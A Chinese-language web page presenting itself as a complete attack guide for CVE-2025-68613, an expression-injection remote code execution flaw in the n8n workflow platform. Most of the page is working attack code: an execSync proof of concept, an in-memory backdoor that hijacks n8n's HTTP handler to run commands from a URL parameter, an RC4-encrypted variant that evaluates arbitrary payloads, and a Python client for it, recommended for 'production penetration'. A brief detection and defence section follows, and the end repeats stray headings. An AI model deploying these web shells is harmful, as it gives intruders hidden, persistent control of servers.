CVE-2025-68613 n8n RCE 内存马完整攻击指南<\/h1>

1. 漏洞概述<\/h2>
CVE-2025-68613是n8n工作流自动化平台中的一个严重安全漏洞，CVSS评分为10.0。该漏洞允许攻击者通过表达式注入实现远程代码执行（RCE），进而部署内存马（Memory Shell）实现持久化控制。<\/p>

1.1 漏洞基本信息<\/h3>

漏洞版本<\/strong>: n8n < v1.122.0<\/li>
漏洞类型<\/strong>: 表达式注入导致的RCE<\/li>
攻击复杂度<\/strong>: 低<\/li>

影响范围<\/strong>: 所有未修复的n8n实例<\/li> <\/ul>
1.2 核心漏洞原理<\/h3>
漏洞由三个安全缺陷组合利用：<\/p>

IIFE的this<\/code>上下文未正确清理<\/li>
反引号绕过constructor检测<\/li>
process对象暴露环境变量<\/li> <\/ol> 2. 环境准备<\/h2> 2.1 测试环境搭建<\/h3> # 使用Docker启动易受攻击的n8n版本<\/span> <\/span><\/span>docker run -it --rm \ <\/span><\/span><\/span><\/span> --name n8n \ <\/span><\/span><\/span><\/span> -p 5678:5678 \ <\/span><\/span><\/span><\/span> -e N8N_BLOCK_ENV_ACCESS_IN_NODE=<\/span>false \ <\/span><\/span><\/span><\/span> n8nio\/n8n:1.120.3 <\/span><\/span><\/code><\/pre>2.2 漏洞验证<\/h3> 访问 http:\/\/localhost:5678<\/li> 创建新工作流并添加"Set"节点<\/li> 在Fields中插入以下测试载荷：<\/li> <\/ol> {{ <\/span><\/span> (function<\/span>() { <\/span><\/span> return<\/span> this<\/span>.process<\/span>.mainModule<\/span>.require<\/span>('child_process'<\/span>) <\/span><\/span> .execSync<\/span>('id'<\/span>, {encoding<\/span>:<\/span> 'utf8'<\/span>}).trim<\/span>(); <\/span><\/span> })() <\/span><\/span>}} <\/span><\/span><\/code><\/pre>预期输出: uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)<\/code><\/p> 3. 内存马技术原理<\/h2> 3.1 什么是内存马<\/h3> 内存马（Memory Shell）是一种无文件攻击技术，具有以下特点：<\/p> 特性<\/th> 传统后门<\/th> 内存马<\/th> <\/tr> <\/thead> 文件痕迹<\/td> ✅ 写入磁盘<\/td> ❌ 仅在内存<\/td> <\/tr> 持久性<\/td> 进程重启后仍存在<\/td> 进程重启后失效<\/td> <\/tr> 检测难度<\/td> 低（文件扫描）<\/td> 高（需内存分析）<\/td> <\/tr> 部署方式<\/td> 上传文件<\/td> 代码注入<\/td> <\/tr> 隐蔽性<\/td> ⭐⭐<\/td> ⭐⭐⭐⭐⭐<\/td> <\/tr> <\/tbody> <\/table> 3.2 n8n环境下的攻击面<\/h3> n8n基于Node.js\/Express架构，关键劫持点包括：<\/p> HTTP服务器事件 (server._events.request<\/code>)<\/li> Express中间件栈 (app._router.stack<\/code>)<\/li> 全局对象 (global.*<\/code>)<\/li> 进程句柄 (process._getActiveHandles()<\/code>)<\/li> <\/ul> 3.3 完整攻击流程<\/h3> CVE-2025-68613 RCE ↓ 基础命令执行 ↓ HTTP服务器劫持 ↓ 简单Web后门 ↓ RC4加密通信 ↓ 企业级内存马 <\/code><\/pre> 4. 基础内存马实现<\/h2> 4.1 简单Web后门代码<\/h3> {{ <\/span><\/span> (function<\/span>() { <\/span><\/span> try<\/span> { <\/span><\/span> var<\/span> mainModule<\/span> =<\/span> this<\/span>.process<\/span>.mainModule<\/span>; <\/span><\/span> var<\/span> require<\/span> =<\/span> mainModule<\/span>.require<\/span>; <\/span><\/span> var<\/span> execSync<\/span> =<\/span> require<\/span>('child_process'<\/span>).execSync<\/span>; <\/span><\/span> <\/span><\/span> var<\/span> handles<\/span> =<\/span> this<\/span>.process<\/span>._getActiveHandles<\/span>(); <\/span><\/span> var<\/span> httpServer<\/span> =<\/span> null<\/span>; <\/span><\/span> <\/span><\/span> for<\/span> (var<\/span> i<\/span> =<\/span> 0<\/span>; i<\/span> <<\/span> handles<\/span>.length<\/span>; i<\/span>++<\/span>) { <\/span><\/span> var<\/span> h<\/span> =<\/span> handles<\/span>[i<\/span>]; <\/span><\/span> if<\/span> (h<\/span> &&<\/span> h<\/span>._events<\/span> &&<\/span> h<\/span>._events<\/span>.request<\/span>) { <\/span><\/span> httpServer<\/span> =<\/span> h<\/span>; <\/span><\/span> break<\/span>; <\/span><\/span> } <\/span><\/span> } <\/span><\/span> <\/span><\/span> if<\/span> (!<\/span>httpServer<\/span>) { <\/span><\/span> return<\/span> JSON<\/span>.stringify<\/span>({success<\/span>:<\/span> false<\/span>, error<\/span>:<\/span> 'Server not found'<\/span>}); <\/span><\/span> } <\/span><\/span> <\/span><\/span> var<\/span> originalReqHandler<\/span> =<\/span> httpServer<\/span>._events<\/span>.request<\/span>; <\/span><\/span> <\/span><\/span> httpServer<\/span>._events<\/span>.request<\/span> =<\/span> function<\/span>(req<\/span>, res<\/span>) { <\/span><\/span> if<\/span> (req<\/span>.url<\/span> &&<\/span> req<\/span>.url<\/span>.indexOf<\/span>('\/api\/status'<\/span>) ===<\/span> 0<\/span>) { <\/span><\/span> var<\/span> match<\/span> =<\/span> req<\/span>.url<\/span>.match<\/span>(\/[?&]cmd=([^&]+)\/<\/span>); <\/span><\/span> if<\/span> (match<\/span> &&<\/span> match<\/span>[1<\/span>]) { <\/span><\/span> try<\/span> { <\/span><\/span> var<\/span> cmd<\/span> =<\/span> decodeURIComponent(match<\/span>[1<\/span>]); <\/span><\/span> var<\/span> output<\/span> =<\/span> execSync<\/span>(cmd<\/span>, {encoding<\/span>:<\/span> 'utf8'<\/span>, timeout<\/span>:<\/span> 10000<\/span>}); <\/span><\/span> res<\/span>.writeHead<\/span>(200<\/span>, {'Content-Type'<\/span>:<\/span> 'application\/json'<\/span>}); <\/span><\/span> res<\/span>.end<\/span>(JSON<\/span>.stringify<\/span>({ok<\/span>:<\/span> true<\/span>, data<\/span>:<\/span> output<\/span>})); <\/span><\/span> return<\/span>; <\/span><\/span> } catch<\/span>(e<\/span>) { <\/span><\/span> res<\/span>.writeHead<\/span>(500<\/span>, {'Content-Type'<\/span>:<\/span> 'application\/json'<\/span>}); <\/span><\/span> res<\/span>.end<\/span>(JSON<\/span>.stringify<\/span>({ok<\/span>:<\/span> false<\/span>, err<\/span>:<\/span> e<\/span>.message<\/span>})); <\/span><\/span> return<\/span>; <\/span><\/span> } <\/span><\/span> } <\/span><\/span> } <\/span><\/span> <\/span><\/span> return<\/span> originalReqHandler<\/span>.call<\/span>(this<\/span>, req<\/span>, res<\/span>); <\/span><\/span> }; <\/span><\/span> <\/span><\/span> return<\/span> JSON<\/span>.stringify<\/span>({ <\/span><\/span> success<\/span>:<\/span> true<\/span>, <\/span><\/span> message<\/span>:<\/span> 'Simple backdoor installed'<\/span>, <\/span><\/span> endpoint<\/span>:<\/span> '\/api\/status?cmd=<command>'<\/span>, <\/span><\/span> test<\/span>:<\/span> 'curl "http:\/\/localhost:5678\/api\/status?cmd=whoami"'<\/span> <\/span><\/span> }, null<\/span>, 2<\/span>); <\/span><\/span> <\/span><\/span> } catch<\/span>(err<\/span>) { <\/span><\/span> return<\/span> JSON<\/span>.stringify<\/span>({success<\/span>:<\/span> false<\/span>, error<\/span>:<\/span> err<\/span>.message<\/span>}); <\/span><\/span> } <\/span><\/span> })() <\/span><\/span>}} <\/span><\/span><\/code><\/pre>4.2 使用方法<\/h3> # 测试命令执行<\/span> <\/span><\/span>curl "http:\/\/localhost:5678\/api\/status?cmd=whoami"<\/span> <\/span><\/span>curl "http:\/\/localhost:5678\/api\/status?cmd=uname -a"<\/span> <\/span><\/span>curl "http:\/\/localhost:5678\/api\/status?cmd=ls -la"<\/span> <\/span><\/span><\/code><\/pre>5. 高级加密内存马<\/h2> 5.1 RC4加密实现<\/h3> function<\/span> rc4<\/span>(key<\/span>, data<\/span>) { <\/span><\/span> var<\/span> s<\/span> =<\/span> [], k<\/span> =<\/span> []; <\/span><\/span> var<\/span> i<\/span>, j<\/span> =<\/span> 0<\/span>, tmp<\/span>; <\/span><\/span> for<\/span> (i<\/span> =<\/span> 0<\/span>; i<\/span> <<\/span> 256<\/span>; i<\/span>++<\/span>) { <\/span><\/span> s<\/span>[i<\/span>] =<\/span> i<\/span>; <\/span><\/span> k<\/span>[i<\/span>] =<\/span> key<\/span>.charCodeAt<\/span>(i<\/span> %<\/span> key<\/span>.length<\/span>); <\/span><\/span> } <\/span><\/span> for<\/span> (i<\/span> =<\/span> 0<\/span>; i<\/span> <<\/span> 256<\/span>; i<\/span>++<\/span>) { <\/span><\/span> j<\/span> =<\/span> (j<\/span> +<\/span> s<\/span>[i<\/span>] +<\/span> k<\/span>[i<\/span>]) %<\/span> 256<\/span>; <\/span><\/span> tmp<\/span> =<\/span> s<\/span>[i<\/span>]; s<\/span>[i<\/span>] =<\/span> s<\/span>[j<\/span>]; s<\/span>[j<\/span>] =<\/span> tmp<\/span>; <\/span><\/span> } <\/span><\/span> i<\/span> =<\/span> j<\/span> =<\/span> 0<\/span>; <\/span><\/span> var<\/span> out<\/span> =<\/span> []; <\/span><\/span> for<\/span> (var<\/span> idx<\/span> =<\/span> 0<\/span>; idx<\/span> <<\/span> data<\/span>.length<\/span>; idx<\/span>++<\/span>) { <\/span><\/span> i<\/span> =<\/span> (i<\/span> +<\/span> 1<\/span>) %<\/span> 256<\/span>; <\/span><\/span> j<\/span> =<\/span> (j<\/span> +<\/span> s<\/span>[i<\/span>]) %<\/span> 256<\/span>; <\/span><\/span> tmp<\/span> =<\/span> s<\/span>[i<\/span>]; s<\/span>[i<\/span>] =<\/span> s<\/span>[j<\/span>]; s<\/span>[j<\/span>] =<\/span> tmp<\/span>; <\/span><\/span> var<\/span> t<\/span> =<\/span> (s<\/span>[i<\/span>] +<\/span> s<\/span>[j<\/span>]) %<\/span> 256<\/span>; <\/span><\/span> out<\/span>[idx<\/span>] =<\/span> data<\/span>[idx<\/span>] ^<\/span> s<\/span>[t<\/span>]; <\/span><\/span> } <\/span><\/span> return<\/span> Buffer<\/span>.from<\/span>(out<\/span>); <\/span><\/span>} <\/span><\/span><\/code><\/pre>5.2 加密通信流程<\/h3> 明文命令 → RC4加密 → Base64编码 → HTTP传输 ↓ HTTP接收 → Base64解码 → RC4解密 → 执行命令 ↓ 执行结果 → RC4加密 → Base64编码 → HTTP响应 <\/code><\/pre> 5.3 完整加密内存马代码<\/h3> （由于代码过长，此处提供关键部分，完整代码参考原文）<\/p> httpServer<\/span>._events<\/span>.request<\/span> =<\/span> function<\/span>(req<\/span>, res<\/span>) { <\/span><\/span> if<\/span> (req<\/span>.url<\/span> &&<\/span> req<\/span>.url<\/span>.indexOf<\/span>('\/api\/status'<\/span>) ===<\/span> 0<\/span> &&<\/span> req<\/span>.method<\/span> ===<\/span> 'POST'<\/span>) { <\/span><\/span> var<\/span> body<\/span> =<\/span> ''<\/span>; <\/span><\/span> req<\/span>.on<\/span>('data'<\/span>, function<\/span>(chunk<\/span>) { body<\/span> +=<\/span> chunk<\/span>.toString<\/span>(); }); <\/span><\/span> req<\/span>.on<\/span>('end'<\/span>, function<\/span>() { <\/span><\/span> try<\/span> { <\/span><\/span> var<\/span> json<\/span> =<\/span> JSON<\/span>.parse<\/span>(body<\/span>); <\/span><\/span> var<\/span> key<\/span> =<\/span> '3c6e0b8a9c15224a'<\/span>; <\/span><\/span> if<\/span> (json<\/span>.data<\/span>) { <\/span><\/span> var<\/span> encrypted<\/span> =<\/span> Buffer<\/span>.from<\/span>(json<\/span>.data<\/span>, 'base64'<\/span>); <\/span><\/span> var<\/span> decrypted<\/span> =<\/span> rc4<\/span>(key<\/span>, encrypted<\/span>); <\/span><\/span> <\/span><\/span> \/\/ 动态payload注入 <\/span><\/span><\/span><\/span> if<\/span> (global<\/span>.ge0b8a<\/span> ===<\/span> undefined<\/span>) { <\/span><\/span> try<\/span> { <\/span><\/span> var<\/span> payloadCode<\/span> =<\/span> decrypted<\/span>.toString<\/span>(); <\/span><\/span> var<\/span> tmpPayload<\/span> =<\/span> new<\/span> Function(payloadCode<\/span>)(); <\/span><\/span> if<\/span> (typeof<\/span> tmpPayload<\/span> ===<\/span> 'object'<\/span> &&<\/span> typeof<\/span> tmpPayload<\/span>.process<\/span> ===<\/span> 'function'<\/span>) { <\/span><\/span> global<\/span>.ge0b8a<\/span> =<\/span> tmpPayload<\/span>; <\/span><\/span> } <\/span><\/span> } catch<\/span>(e<\/span>) {} <\/span><\/span> } <\/span><\/span> <\/span><\/span> var<\/span> result<\/span>; <\/span><\/span> if<\/span> (global<\/span>.ge0b8a<\/span> !==<\/span> undefined<\/span>) { <\/span><\/span> result<\/span> =<\/span> global<\/span>.ge0b8a<\/span>.process<\/span>(decrypted<\/span>); <\/span><\/span> } else<\/span> { <\/span><\/span> var<\/span> cmd<\/span> =<\/span> decrypted<\/span>.toString<\/span>(); <\/span><\/span> result<\/span> =<\/span> execSync<\/span>(cmd<\/span>, {encoding<\/span>:<\/span> 'utf8'<\/span>, timeout<\/span>:<\/span> 10000<\/span>}); <\/span><\/span> } <\/span><\/span> <\/span><\/span> var<\/span> encryptedResult<\/span> =<\/span> rc4<\/span>(key<\/span>, Buffer<\/span>.isBuffer<\/span>(result<\/span>) ?<\/span> result<\/span> :<\/span> Buffer<\/span>.from<\/span>(result<\/span>)); <\/span><\/span> res<\/span>.writeHead<\/span>(200<\/span>, {'Content-Type'<\/span>:<\/span> 'application\/json'<\/span>}); <\/span><\/span> res<\/span>.end<\/span>(JSON<\/span>.stringify<\/span>({data<\/span>:<\/span> encryptedResult<\/span>.toString<\/span>('base64'<\/span>)})); <\/span><\/span> return<\/span>; <\/span><\/span> } <\/span><\/span> } catch<\/span>(e<\/span>) { <\/span><\/span> res<\/span>.writeHead<\/span>(500<\/span>, {'Content-Type'<\/span>:<\/span> 'application\/json'<\/span>}); <\/span><\/span> res<\/span>.end<\/span>(JSON<\/span>.stringify<\/span>({data<\/span>:<\/span> null<\/span>, error<\/span>:<\/span> e<\/span>.message<\/span>})); <\/span><\/span> return<\/span>; <\/span><\/span> } <\/span><\/span> }); <\/span><\/span> return<\/span>; <\/span><\/span> } <\/span><\/span> \/\/ ... 处理其他请求 <\/span><\/span><\/span><\/span>}; <\/span><\/span><\/code><\/pre>6. 客户端工具<\/h2> 6.1 Python交互式Shell<\/h3> #!\/usr\/bin\/env python3<\/span> <\/span><\/span>"""n8n RC4 Encrypted Interactive Shell"""<\/span> <\/span><\/span>import<\/span> requests <\/span><\/span>import<\/span> base64 <\/span><\/span>import<\/span> sys <\/span><\/span> <\/span><\/span>def<\/span> rc4<\/span>(key, data): <\/span><\/span> s =<\/span> list(range(256<\/span>)) <\/span><\/span> k =<\/span> [ord(key[i %<\/span> len(key)]) for<\/span> i in<\/span> range(256<\/span>)] <\/span><\/span> j =<\/span> 0<\/span> <\/span><\/span> for<\/span> i in<\/span> range(256<\/span>): <\/span><\/span> j =<\/span> (j +<\/span> s[i] +<\/span> k[i]) %<\/span> 256<\/span> <\/span><\/span> s[i], s[j] =<\/span> s[j], s[i] <\/span><\/span> i =<\/span> j =<\/span> 0<\/span> <\/span><\/span> o =<\/span> bytearray() <\/span><\/span> for<\/span> b in<\/span> data: <\/span><\/span> i =<\/span> (i +<\/span> 1<\/span>) %<\/span> 256<\/span> <\/span><\/span> j =<\/span> (j +<\/span> s[i]) %<\/span> 256<\/span> <\/span><\/span> s[i], s[j] =<\/span> s[j], s[i] <\/span><\/span> o.<\/span>append(b ^<\/span> s[(s[i] +<\/span> s[j]) %<\/span> 256<\/span>]) <\/span><\/span> return<\/span> bytes(o) <\/span><\/span> <\/span><\/span>def<\/span> exec_cmd<\/span>(url, cmd, key=<\/span>'3c6e0b8a9c15224a'<\/span>): <\/span><\/span> encrypted =<\/span> rc4(key, cmd.<\/span>encode()) <\/span><\/span> r =<\/span> requests.<\/span>post(url, json=<\/span>{'data'<\/span>: base64.<\/span>b64encode(encrypted).<\/span>decode()}) <\/span><\/span> if<\/span> r.<\/span>status_code ==<\/span> 200<\/span> and<\/span> r.<\/span>json().<\/span>get('data'<\/span>): <\/span><\/span> return<\/span> rc4(key, base64.<\/span>b64decode(r.<\/span>json()['data'<\/span>])).<\/span>decode('utf-8'<\/span>, errors=<\/span>'ignore'<\/span>) <\/span><\/span> return<\/span> None<\/span> <\/span><\/span> <\/span><\/span>if<\/span> __name__ ==<\/span> '__main__'<\/span>: <\/span><\/span> url =<\/span> 'http:\/\/localhost:5678\/api\/status'<\/span> <\/span><\/span> <\/span><\/span> if<\/span> len(sys.<\/span>argv) ><\/span> 1<\/span>: <\/span><\/span> result =<\/span> exec_cmd(url, ' '<\/span>.<\/span>join(sys.<\/span>argv[1<\/span>:])) <\/span><\/span> if<\/span> result: print(result, end=<\/span>''<\/span>) <\/span><\/span> else<\/span>: <\/span><\/span> print('n8n Encrypted Shell v1.0'<\/span>) <\/span><\/span> while<\/span> True<\/span>: <\/span><\/span> try<\/span>: <\/span><\/span> cmd =<\/span> input('n8n> '<\/span>) <\/span><\/span> if<\/span> cmd.<\/span>lower() in<\/span> ['exit'<\/span>, 'quit'<\/span>]: break<\/span> <\/span><\/span> if<\/span> cmd.<\/span>strip(): <\/span><\/span> result =<\/span> exec_cmd(url, cmd) <\/span><\/span> if<\/span> result: print(result, end=<\/span>''<\/span>) <\/span><\/span> except<\/span> KeyboardInterrupt<\/span>: <\/span><\/span> break<\/span> <\/span><\/span><\/code><\/pre>6.2 使用方法<\/h3> # 交互模式<\/span> <\/span><\/span>.\/n8n_shell.py <\/span><\/span> <\/span><\/span># 单命令模式<\/span> <\/span><\/span>.\/n8n_shell.py whoami <\/span><\/span>.\/n8n_shell.py "ls -la \/"<\/span> <\/span><\/span>.\/n8n_shell.py "cat \/etc\/passwd"<\/span> <\/span><\/span><\/code><\/pre>7. 检测与防御<\/h2> 7.1 内存马检测<\/h3> {{ <\/span><\/span> (function<\/span>() { <\/span><\/span> var<\/span> info<\/span> =<\/span> { backdoorDetected<\/span>:<\/span> false<\/span>, details<\/span>:<\/span> [] }; <\/span><\/span> <\/span><\/span> \/\/ 检查global对象 <\/span><\/span><\/span><\/span> if<\/span> (global<\/span>.ge0b8a<\/span>) { <\/span><\/span> info<\/span>.backdoorDetected<\/span> =<\/span> true<\/span>; <\/span><\/span> info<\/span>.details<\/span>.push<\/span>('Found global.ge0b8a payload'<\/span>); <\/span><\/span> } <\/span><\/span> <\/span><\/span> \/\/ 检查HTTP服务器 <\/span><\/span><\/span><\/span> if<\/span> (this<\/span>.process<\/span>._getActiveHandles<\/span>) { <\/span><\/span> var<\/span> handles<\/span> =<\/span> this<\/span>.process<\/span>._getActiveHandles<\/span>(); <\/span><\/span> for<\/span> (var<\/span> i<\/span> =<\/span> 0<\/span>; i<\/span> <<\/span> handles<\/span>.length<\/span>; i<\/span>++<\/span>) { <\/span><\/span> var<\/span> h<\/span> =<\/span> handles<\/span>[i<\/span>]; <\/span><\/span> if<\/span> (h<\/span> &&<\/span> h<\/span>._events<\/span> &&<\/span> h<\/span>._events<\/span>.request<\/span>) { <\/span><\/span> var<\/span> handler<\/span> =<\/span> h<\/span>._events<\/span>.request<\/span>.toString<\/span>(); <\/span><\/span> if<\/span> (handler<\/span>.indexOf<\/span>('api\/status'<\/span>) ><\/span> -<\/span>1<\/span> ||<\/span> <\/span><\/span> handler<\/span>.indexOf<\/span>('rc4'<\/span>) ><\/span> -<\/span>1<\/span> ||<\/span> <\/span><\/span> handler<\/span>.indexOf<\/span>('execSync'<\/span>) ><\/span> -<\/span>1<\/span>) { <\/span><\/span> info<\/span>.backdoorDetected<\/span> =<\/span> true<\/span>; <\/span><\/span> info<\/span>.details<\/span>.push<\/span>('Suspicious HTTP request handler detected'<\/span>); <\/span><\/span> } <\/span><\/span> break<\/span>; <\/span><\/span> } <\/span><\/span> } <\/span><\/span> } <\/span><\/span> <\/span><\/span> return<\/span> JSON<\/span>.stringify<\/span>(info<\/span>, null<\/span>, 2<\/span>); <\/span><\/span> })() <\/span><\/span>}} <\/span><\/span><\/code><\/pre>7.2 清除措施<\/h3> # 方法1: 重启进程<\/span> <\/span><\/span>docker restart n8n <\/span><\/span> <\/span><\/span># 方法2: 代码清除<\/span> <\/span><\/span>{{<\/span> <\/span><\/span> (<\/span>function<\/span>()<\/span> {<\/span> <\/span><\/span> if<\/span> (<\/span>global.ge0b8a)<\/span> {<\/span> delete global.ge0b8a; }<\/span> <\/span><\/span> return<\/span> 'Memory shell removed'<\/span>; <\/span><\/span> })()<\/span> <\/span><\/span>}}<\/span> <\/span><\/span><\/code><\/pre>7.3 防御建议<\/h3> 立即措施:<\/strong><\/p> 升级到 n8n >= v1.122.0<\/li> 设置环境变量: export N8N_BLOCK_ENV_ACCESS_IN_NODE=true<\/code><\/li> 限制工作流创建权限<\/li> 启用审计日志<\/li> <\/ol> 长期措施:<\/strong><\/p> 部署WAF\/RASP防护<\/li> 实施容器化隔离<\/li> 定期安全审计<\/li> 监控异常HTTP路由<\/li> <\/ol> 8. 技术特性对比<\/h2> 特性<\/th> 基础版<\/th> 加密版<\/th> <\/tr> <\/thead> 通信加密<\/td> ❌ 明文<\/td> ✅ RC4<\/td> <\/tr> 编码方式<\/td> 明文URL<\/td> Base64<\/td> <\/tr> 访问方式<\/td> GET<\/td> GET + POST<\/td> <\/tr> 隐蔽性<\/td> ⭐⭐⭐<\/td> ⭐⭐⭐⭐⭐<\/td> <\/tr> 使用复杂度<\/td> 低<\/td> 中<\/td> <\/tr> 检测难度<\/td> 中<\/td> 高<\/td> <\/tr> 推荐场景<\/td> 快速测试<\/td> 生产渗透<\/td> <\/tr> <\/tbody> <\/table> 9. 故障排除<\/h2> 问题<\/th> 解决方案<\/th> <\/tr> <\/thead> Constructor错误<\/td> 避免使用 .constructor<\/code><\/td> <\/tr> POST返回404<\/td> 检查URL路径和body解析<\/td> <\/tr> Buffer undefined<\/td> 添加 require('buffer').Buffer<\/code><\/td> <\/tr> 返回null<\/td> 检查加密key和数据格式<\/td> <\/tr> <\/tbody> <\/table> 10. 总结<\/h2> CVE-2025-68613展示了表达式注入漏洞的严重性，结合内存马技术可以实现高度隐蔽的持久化控制。防御方应重点关注：<\/p> 及时更新软件版本<\/li> 实施最小权限原则<\/li> 部署运行时保护机制<\/li> 建立完善的安全监控体系<\/li> <\/ol> 攻击技术的研究有助于更好地理解防御策略，所有测试应在授权环境下进行，遵守相关法律法规。<\/p>

CVE-2025-68613 n8n RCE 内存马完整攻击指南<\/h1>

1. 漏洞概述<\/h2> CVE-2025-68613是n8n工作流自动化平台中的一个严重安全漏洞，CVSS评分为10.0。该漏洞允许攻击者通过表达式注入实现远程代码执行（RCE），进而部署内存马（Memory Shell）实现持久化控制。<\/p>

2. 环境准备<\/h2>

4. 基础内存马实现<\/h2>

5. 高级加密内存马<\/h2>

6. 客户端工具<\/h2>

7. 检测与防御<\/h2>

1. 漏洞概述<\/h2>
CVE-2025-68613是n8n工作流自动化平台中的一个严重安全漏洞，CVSS评分为10.0。该漏洞允许攻击者通过表达式注入实现远程代码执行（RCE），进而部署内存马（Memory Shell）实现持久化控制。<\/p>